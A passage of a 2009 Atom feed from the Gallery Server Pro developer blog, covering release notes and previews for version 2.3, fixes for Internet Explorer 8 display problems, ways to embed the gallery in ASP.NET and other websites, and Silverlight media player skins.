upgrade path from the beta to the final release. It *may* be possible to upgrade to the RTM version by simply replacing the web files, as no database changes are anticipated, but I make no promises.&lt;/li&gt;    &lt;li&gt;The restore function cannot restore from versions earlier than the beta. I expect to add support for this by the RTM.&lt;/li&gt;    &lt;li&gt;There are a few minor bugs, usability tweaks, and features that need to be completed.&lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-7147912081294934101?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/7147912081294934101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=7147912081294934101' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7147912081294934101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/7147912081294934101'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/04/gallery-server-pro-23-beta-released.html' title='Gallery Server Pro 2.3 beta released'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-1589276724211336743</id><published>2009-04-17T15:46:00.001-05:00</published><updated>2009-04-18T09:21:06.905-05:00</updated><title type='text'>Preview of Gallery Server Pro 2.3</title><content type='html'>&lt;p&gt;There are&amp;#160; number of exciting new features coming in GSP 2.3 that expand on the already robust enterprise-level capabilities in Gallery Server Pro. Your feedback has been the driving force in telling me what areas I need to focus on. Please continue using the forum to let me what can be done better, what isn't working, and - if you are so inclined - what you really like!&lt;/p&gt;  &lt;p&gt;I am targeting a release date of May 31 for 2.3. Nearly all the features and bug fixes are complete. I am now in the testing phase and working on the Upgrade Wizard. There are a few database changes which require a&amp;#160; SQL script, and I will make sure the Upgrade Wizard handles it all for you. This takes time but I am committed to making the path to 2.3 as robust and painless as possible.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;New features in 2.3:&lt;/strong&gt;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Faster, lighter pages - Page size has been reduced up to 25% and the number of HTTP requests reduced up to 25%. &lt;/li&gt;    &lt;li&gt;Album ownership. &lt;/li&gt;    &lt;li&gt;Self-registration. &lt;/li&gt;    &lt;li&gt;User albums - An album can be automatically created and assigned to each user. The user owns that album with customizable permissions for managing its contents. This is great for community sites! &lt;/li&gt;    &lt;li&gt;Paging of thumbnail images in an album. &lt;/li&gt;    &lt;li&gt;Download multiple media objects in a ZIP file. &lt;/li&gt;    &lt;li&gt;Option to automatically delete the high resolution original image after upload, preserving only the thumbnail and compressed version. &lt;/li&gt;    &lt;li&gt;Allow &lt;em&gt;&lt;strong&gt;recursive&lt;/strong&gt;&lt;/em&gt; deletion of the high resolution images from an album. &lt;/li&gt;    &lt;li&gt;Clicking the download button for an image downloads the &lt;strong&gt;&lt;em&gt;original&lt;/em&gt;&lt;/strong&gt; image, not the compressed image. &lt;/li&gt;    &lt;li&gt;Error logging. &lt;/li&gt;    &lt;li&gt;Option to make an album private when it is created. &lt;/li&gt;    &lt;li&gt;Support SSL encryption of e-mails. &lt;/li&gt;    &lt;li&gt;Remove dependence on modifying global.asax when integrating into an existing ASP.NET application. &lt;/li&gt;    &lt;li&gt;Rounded corners of thumbnails and other objects (unfortunately, IE does not support this). &lt;/li&gt;    &lt;li&gt;Navigate back and forth using the left and right arrow keys instead of Enter and Shift-Enter. &lt;/li&gt;    &lt;li&gt;Allow a gallery to be built from a read-only directory. &lt;/li&gt;    &lt;li&gt;Support for .divx files. &lt;/li&gt;    &lt;li&gt;Play .avi and .wvx videos in the browser instead of creating a hyperlink. &lt;/li&gt;    &lt;li&gt;Show .pdf files in an inline frame. &lt;/li&gt;    &lt;li&gt;Show a hyperlink to easily open MS Word files instead of displaying the message &amp;quot;Your browser cannot display this media object...&amp;quot;. &lt;/li&gt;    &lt;li&gt;Add support for .rtf files. &lt;/li&gt;    &lt;li&gt;Allow deleting albums in addition to media objects on the Delete objects page. &lt;/li&gt;    &lt;li&gt;Use of jQuery for advanced client effects. &lt;/li&gt;    &lt;li&gt;Almost all settings in galleryservepro.config now exposed in the Admin Site Settings area. &lt;/li&gt;    &lt;li&gt;Several other usability enhancements... &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Many of these features are controlled by new switches that allow you to revert to the previous behavior if desired. So if you don't want to allow self-registration, just don't enable that feature.&lt;/p&gt;  &lt;p&gt;In addition, there are several dozen bug fixes that improve reliability, performance, and the user experience.&lt;/p&gt;  &lt;p&gt;I will give a brief overview of a few of the most significant changes.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Album ownership&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Administrators can assign any user as the owner of an album. By default, owners can add, edit, and delete objects within the album. The permissions given to owners are defined in a template role named &lt;em&gt;_Album Owner Template&lt;/em&gt; and can be easily changed using the Manage Roles page in the Site Admin area.&lt;/p&gt;  &lt;p&gt;You can assign the owner on the Edit album info dialog window, as seen here:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of edit album dialog" src="http://lh4.ggpht.com/_qh4427KVFsk/SejxSoaZ-6I/AAAAAAAAAIU/LQbr6-RYd64/albumowner%5B5%5D.png?imgmax=800" width="513" height="402" /&gt; &lt;/p&gt;  &lt;p&gt;In previous version of GSP you could accomplish the same thing, but you first had to create a role with the desired permissions, attach it to the album, and then add the user. This required going into the Site Admin area and navigating between two different pages. The new technique is cleaner and simpler. Behind the scenes, GSP is still creating that role for you, but now you don't have to worry about the details.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Self registration and user albums&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;You can allow users to create their own accounts and optionally to automatically create an album that each user owns. When enabled, a create account link appears in the top right that takes the user to a registration wizard:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of create user page" src="http://lh4.ggpht.com/_qh4427KVFsk/Sejqqhlpd3I/AAAAAAAAAIY/scn5wTB6Sfs/createuser%5B5%5D.png?imgmax=800" width="402" height="280" /&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;There are a number of configuration options, which are accessible on a new page in the Site Admin area called User Settings:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of user settings" src="http://lh5.ggpht.com/_qh4427KVFsk/SejqrXVrvyI/AAAAAAAAAHo/YrrTXa8XqhE/usersettings%5B4%5D.png?imgmax=800" width="503" height="488" /&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Rounded corners and downloading objects in ZIP&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;For 2.3, I broke one of my cardinal rules of web development: target the web standards, not particular browsers. This is generally good advice, but there is great support for adding rounded corners in almost all major browsers using proprietary CSS tags. Rounded corners are so simple to implement, and look so nice, that I just had to do it. Almost every HTML element that previously had square corners now gets a beautiful rounded treatment handled by the browser, not a bunch of image slices. Check it out:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of rounded corner" src="http://lh6.ggpht.com/_qh4427KVFsk/SejqsvMnSuI/AAAAAAAAAHw/BeEbZ8m5_1Q/roundedcorner%5B4%5D.png?imgmax=800" width="604" height="346" /&gt; &lt;/p&gt;  &lt;p&gt;Unfortunately, Internet Explorer, even IE8, does not support rounded corners. This omission in IE8 was a big disappointment, but those of you using other browsers (Firefox, Safari, Chrome) will see elegant shapes in your gallery.&lt;/p&gt;  &lt;p&gt;In addition, there is a button for downloading the objects in an album in a ZIP file. Clicking the button takes you to a page where you can select one or more media objects or child albums in the current album. The objects you select are zipped up and sent to the user in a convenient ZIP file.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Album paging&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;When an album contains hundreds of objects, it can take a long time to load and become difficult to navigate. There is a new paging option so that only a small number of objects are loaded at a time. Here you can see what happens when the page size is set to eight:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of paging" src="http://lh4.ggpht.com/_qh4427KVFsk/Sejqt4Ck3LI/AAAAAAAAAH4/yKz8WxuDKvk/paging%5B4%5D.png?imgmax=800" width="514" height="480" /&gt; &lt;/p&gt;  &lt;p&gt;Clicking the next or previous button initiates a lightweight AJAX callback to load the next page. Once a page is loaded, it is stored in the local cache for lightning-quick response. You can change the page size to your preference, including whether you want the paging controls at the top, bottom, or top *and* bottom.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Error logging&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;A new table now stores any errors for later review by administrators. In addition, more information is collected and the e-mail has a more pleasant formatting.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of error log" src="http://lh6.ggpht.com/_qh4427KVFsk/Sejquz4aPcI/AAAAAAAAAIA/_yqkPfuG88M/errorlog%5B4%5D.png?imgmax=800" width="499" height="478" /&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Improved PDF handling&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;PDF documents are now shown in an inline frame. How cool is that!&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="Screenshot of new PDF handling" src="http://lh3.ggpht.com/_qh4427KVFsk/SejqwCTGcmI/AAAAAAAAAII/zUHQLa2bI3A/pdfview%5B4%5D.png?imgmax=800" width="591" height="652" /&gt; &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;These are just a few of the many improvements! As always, thank you for your donations - you are what keeps this project alive. Peace.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-1589276724211336743?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/1589276724211336743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=1589276724211336743' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1589276724211336743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/1589276724211336743'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/04/preview-of-gallery-server-pro-23.html' title='Preview of Gallery Server Pro 2.3'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/SejxSoaZ-6I/AAAAAAAAAIU/LQbr6-RYd64/s72-c/albumowner%5B5%5D.png?imgmax=800' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-487435781377339663</id><published>2009-03-23T11:37:00.001-05:00</published><updated>2009-03-27T13:41:31.219-05:00</updated><title type='text'>(Nearly) perfect compatibility with Internet Explorer 8</title><content type='html'>&lt;p&gt;Internet Explorer 8 was released last Thursday, so I installed it and crossed my fingers as I fired up Gallery Server Pro. What would it look like? There has been a lot of talk about how IE8 defaults to a standards-compatible mode that breaks a lot of existing web sites. But I was hopeful since I built GSP to be XHTML 1.0 Strict compliant, which should provide maximum forward compatibility.&lt;/p&gt;  &lt;p&gt;And that proved to be true. All of the HTML I wrote worked perfectly in IE8. Woo HOO! This proves the power of web standards and why it is important to develop against the standards instead of against one or two specific browsers. I am also pleased that Microsoft defaults to standards mode - that should make future upgrades go smoothly.&lt;/p&gt;  &lt;p&gt;I wish the story ended here. Did you notice the qualification in what I wrote: &lt;em&gt;&amp;quot;All of the HTML &lt;strong&gt;*I wrote*&lt;/strong&gt; worked perfectly in IE8.&amp;quot; &lt;/em&gt;GSP uses a set of UI widgets from ComponentArt for several complex features like uploading, the menu, toolbar, grid, and pop-up dialogs. I found three cases where the controls were not behaving well in IE8. The good news is that the issues are minor and do not break the page functionality, so you may be happy just living with them until they are resolved in the next release. You can also click the IE7-compatibility button next to the address bar in IE8 to re-render the page according to IE7 standards. I'll describe each one, along with instructions for how you can fix them right away.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Left aligned toolbar&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The toolbar above the media object is left-aligned rather than centered:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/Sce61RoRxbI/AAAAAAAAAGU/ZbZnp8nduh0/s1600-h/left_aligned_toolbar_518x552%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IE8 compatibility issue: left aligned toolbar" src="http://lh5.ggpht.com/_qh4427KVFsk/Sce62N3p1pI/AAAAAAAAAGY/0ClTJyW_83U/left_aligned_toolbar_518x552_thumb%5B1%5D.jpg?imgmax=800" width="522" height="556" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;This issue is caused by ComponentArt code outputting slightly different HTML when it senses IE 5.5 and higher. Presumably they did this as a workaround to some issue. This is a perfect example of how special-casing code for certain browsers can be problematic, and should be avoided when possible. &lt;/p&gt;  &lt;p&gt;Fortunately, the fix is simple. Add &lt;strong&gt;Style=&amp;quot;display:block;&amp;quot;&lt;/strong&gt; to the Toolbar definition in gs\controls\mediaobjectview.ascx, like this:&lt;/p&gt;  &lt;p&gt;&lt;font color="#400000"&gt;&amp;lt;ComponentArt:ToolBar ID=&amp;quot;tbMediaObjectActions&amp;quot; runat=&amp;quot;server&amp;quot; Style=&amp;quot;display:block;&amp;quot; ... /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Extra thick lines in Actions menu&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The line break that separates items in the Actions menu appears about 15 pixels high instead of 1 pixel, as seen here:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_qh4427KVFsk/Sce62iXoo7I/AAAAAAAAAGc/jLMHUa2NAxk/s1600-h/ie8_actions_menu_issue_152x413%5B3%5D.jpg"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IE8 compatibility issue: Actions menu has extra thick break lines" src="http://lh4.ggpht.com/_qh4427KVFsk/Sce63A-A59I/AAAAAAAAAGg/u133ZFNdpf8/ie8_actions_menu_issue_152x413_thumb%5B1%5D.jpg?imgmax=800" width="156" height="417" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;This is caused by IE8 making space for the invisible icon in the left column. The fix is to use CSS to remove the icon from the page layout. Open gs\styles\ca_styles.css and look for this line:&lt;/p&gt;  &lt;p&gt;&lt;font color="#400000"&gt;.gsp_mnu0MenuBreak { background-image: url(../images/componentart/menu/break_bg.gif); width: 100%; height: 1px; }&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;Add this line immediately after it:&lt;/p&gt;  &lt;p&gt;&lt;font color="#400000"&gt;.gsp_mnu0MenuBreak img { display: none; }&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Pop-up dialog windows appearing in the top left corner rather than center of window&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;There are several places where a dialog window pops up in the center of the screen, but in IE8 it appears in the top left corner. This is caused by a bug in the algorithm for finding the center of the screen when the AnimationType property of the Dialog control is set to &amp;quot;Live&amp;quot;. The fix is to change this property to &amp;quot;Outline&amp;quot; on each page where it is defined. Look for the text &lt;strong&gt;&lt;font color="#400000"&gt;AnimationType=&amp;quot;Live&amp;quot;&lt;/font&gt;&lt;/strong&gt; and change it to &lt;strong&gt;&lt;font color="#400000"&gt;AnimationType=&amp;quot;Outline&amp;quot;&lt;/font&gt;&lt;/strong&gt; in these files:&lt;/p&gt;  &lt;p&gt;gs\controls\mediaobjectview.ascx    &lt;br /&gt;gs\pages\admin\manageroles.ascx     &lt;br /&gt;gs\pages\admin\manageusers.ascx (two places)     &lt;br /&gt;gs\pages\task\synchronize.ascx&lt;/p&gt;  &lt;p&gt;There are also two places in source code where the AnimationType property is set to Live. These define the dialog window for the edit album info popup. Look for this line:&lt;/p&gt;  &lt;p&gt;&lt;font color="#400000"&gt;dgEditAlbum.AnimationType = DialogAnimationType.Live&lt;/font&gt; &lt;/p&gt;  &lt;p&gt;and change it to:&lt;/p&gt;  &lt;p&gt;&lt;font color="#400000"&gt;dgEditAlbum.AnimationType = DialogAnimationType.Outline &lt;/font&gt;&lt;/p&gt;  &lt;p&gt;The change is needed in these two files (&lt;em&gt;note that this change can only be done in the source code version of GSP and you must recompile after the change):&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;gs\controls\albumheader.ascx.cs    &lt;br /&gt;gs\controls\mediaobjectview.ascx.cs&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Any other issues?&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I did not do an exhaustive test of IE8, so let me know if you notice any other issue. Thanks!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-487435781377339663?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/487435781377339663/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=487435781377339663' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/487435781377339663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/487435781377339663'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/03/nearly-perfect-compatibility-with.html' title='(Nearly) perfect compatibility with Internet Explorer 8'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/Sce62N3p1pI/AAAAAAAAAGY/0ClTJyW_83U/s72-c/left_aligned_toolbar_518x552_thumb%5B1%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5564359618809420488</id><published>2009-03-17T20:34:00.001-05:00</published><updated>2009-03-17T22:46:23.623-05:00</updated><title type='text'>Adding a gallery to your web site</title><content type='html'>&lt;p&gt;One of the great new features in Gallery Server Pro 2.2 is that all the functionality is contained within a single ASP.NET user control. This makes it easy to integrate into your current ASP.NET application. But did you know you can add a gallery to &lt;em&gt;any&lt;/em&gt; web site regardless of the technology? I'll tell you how, but first let me show you how easy it is to add a gallery to your ASP.NET app.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Integrating into an existing ASP.NET application&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;There are three basic steps:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Copy the Gallery Server Pro files into your web site. Most of them can be placed in a directory of your choosing. A few, such as the SQLite database, .resx resource file, and the compiled dll's, go into pre-defined ASP.NET directories, such as App_Data, App_GlobalResources, and bin. &lt;/li&gt;    &lt;li&gt;Configure web.config to define a few settings required by Gallery Server Pro and add one line of code to the Application_Start event in global.asax. &lt;/li&gt;    &lt;li&gt;Choose one of your web pages to host the gallery. For example, you might create a new .aspx page that implements your current master page. Add the following to the top of the page:&lt;b&gt;&lt;/b&gt; &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;&amp;lt;%@ Register TagPrefix=&amp;quot;gsp&amp;quot; Namespace=&amp;quot;GalleryServerPro.Web&amp;quot; Assembly=&amp;quot;GalleryServerPro.Web&amp;quot; %&amp;gt;&lt;/p&gt;  &lt;p&gt;At the location in the page where you want the gallery to appear, add:&lt;/p&gt;  &lt;p&gt;&amp;lt;gsp:Gallery ID=&amp;quot;gallery1&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;&lt;/p&gt;  &lt;p&gt;That's it! Fire up the page and you will notice Gallery Server Pro appears in the location you defined. All the functionality that exists, such as logging on, searching, and the task and admin pages, are at your fingertips. One user control that rules it all...&lt;/p&gt;  &lt;p&gt;Your app can be written in VB.NET, C#, or any other .NET supported language. You can integrate with your existing membership database or Active Directory users. The world is your oyster.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Integrate into non-ASP.NET web sites&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Your gallery is not limited to only ASP.NET web sites. No matter what technology your web site uses, whether it is a set of static .html pages or a dynamic PHP or java site, you can add a Gallery Server Pro gallery. All it takes is a little sleight of hand. The trick is to install Gallery Server Pro as an ASP.NET application on an internet-accessible server that satisfies the technology requirements (primarily that it can run ASP.NET). It could be the same server hosting your web site or another one hosted by a different company. Just get it installed &lt;em&gt;somewhere&lt;/em&gt;. Then, in one of the pages of your existing site, add an &amp;lt;iframe&amp;gt; tag to point to the gallery like this:&lt;/p&gt;  &lt;p&gt;&amp;lt;iframe id=&amp;quot;gs&amp;quot; src=&amp;quot;http://www.site.com/gallery/&amp;quot; frameborder=&amp;quot;0&amp;quot; style=&amp;quot;width:100%;height:100%;border:none;&amp;quot; /&amp;gt;&lt;/p&gt;  &lt;p&gt;Replace &amp;quot;http://www.site.com/gallery/&amp;quot; with the correct URL.&lt;/p&gt;  &lt;p&gt;The host page will load the gallery into the iframe element. To your users, it appears integrated with the rest of the web site. For example, below is a screenshot where Gallery Server Pro is integrated into a Classic ASP web site.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_qh4427KVFsk/ScBPk_IINWI/AAAAAAAAAGM/s_UEIuZVdbc/s1600-h/fort_chamber_integration_example%5B5%5D.jpg"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="481" alt="fort_chamber_integration_example" src="http://lh3.ggpht.com/_qh4427KVFsk/ScBPlSGVWdI/AAAAAAAAAGQ/eiYN9_iEhaE/fort_chamber_integration_example_thumb%5B3%5D.jpg?imgmax=800" width="623" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Want to see it in action? Check out the &lt;a href="http://www.fortchamber.com/Photo_Gallery.asp"&gt;Fort Atkinson Area Chamber of Commerce photo gallery&lt;/a&gt;. Notice the web site is a Classic ASP site and the gallery is contained within an &amp;lt;iframe&amp;gt; tag. Two very different technologies, but they seamlessly work together.&lt;/p&gt;  &lt;p&gt;There are full step-by-step instructions for both of these techniques, along with additional tips and tricks, in the &lt;a href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;. Have fun!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-5564359618809420488?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/5564359618809420488/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=5564359618809420488' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5564359618809420488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/5564359618809420488'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2009/03/adding-gallery-to-your-web-site.html' title='Adding a gallery to your web site'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_qh4427KVFsk/ScBPlSGVWdI/AAAAAAAAAGQ/eiYN9_iEhaE/s72-c/fort_chamber_integration_example_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-5523628196165516931</id><published>2009-02-09T11:59:00.001-06:00</published><updated>2009-02-09T13:06:25.450-06:00</updated><title type='text'>Cool Tip: Skinning the media player</title><content type='html'>&lt;p&gt;Gallery Server Pro uses Silverlight to provide a rich user experience for all media types that Silverlight currently supports. In Silverlight 2, that includes Windows Media Video (.wmv), Windows Media Audio (.wma), MP3 audio (.mp3), Advanced Streaming Format (.asf), and Advanced Stream Redirector (.asx) files. Future versions of Silverlight are expected to add even more.&lt;/p&gt;  &lt;p&gt;There are several skins available that allow you to change the appearance and function of the player control. By default, the &lt;strong&gt;AudioGray&lt;/strong&gt; skin is for audio and &lt;strong&gt;Professional&lt;/strong&gt; is used for video:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="39" alt="Sample audio using the AudioGray Silverlight skin" src="http://lh3.ggpht.com/_qh4427KVFsk/SZB7j7SDQ-I/AAAAAAAAAFw/nq6ksU_hKFg/Skin_audiogray%5B5%5D.jpg?imgmax=800" width="400" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="305" alt="Sample video using the Professional Silverlight skin" src="http://lh6.ggpht.com/_qh4427KVFsk/SZBvAbusMtI/AAAAAAAAAFY/-z9aUueEi5k/Skin_professional%5B4%5D.jpg?imgmax=800" width="404" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro includes eight different skins. A skin is a .xaml file and is stored in the gs\skins\mediaplayer directory. Here is a quick preview of all the skins:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Basic (Basic.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Lightweight .xaml file. Does not include any visible controls. Start/pause a video by clicking it with the mouse. &lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="307" alt="Sample video using the Basic Silverlight skin" src="http://lh4.ggpht.com/_qh4427KVFsk/SZBvBK3_kyI/AAAAAAAAAFc/FIOC9PJd1eM/Skin_basic%5B6%5D.jpg?imgmax=800" width="404" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Simple (Simple.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Does not include borders just like the Basic skin, but a control panel appears when the mouse hovers over the video.&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="304" alt="Sample video using the Simple Silverlight skin" src="http://lh5.ggpht.com/_qh4427KVFsk/SZBvB4JJwOI/AAAAAAAAAFg/lGK3Qr7wYbU/Skin_simple%5B4%5D.jpg?imgmax=800" width="404" border="0" /&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Classic (Classic.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="303" alt="Sample video using the Classic Silverlight skin" src="http://lh3.ggpht.com/_qh4427KVFsk/SZBvCyznJBI/AAAAAAAAAFk/fkIrX4qwZ7M/Skin_classic%5B4%5D.jpg?imgmax=800" width="404" border="0" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Console (Console.xaml)&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; 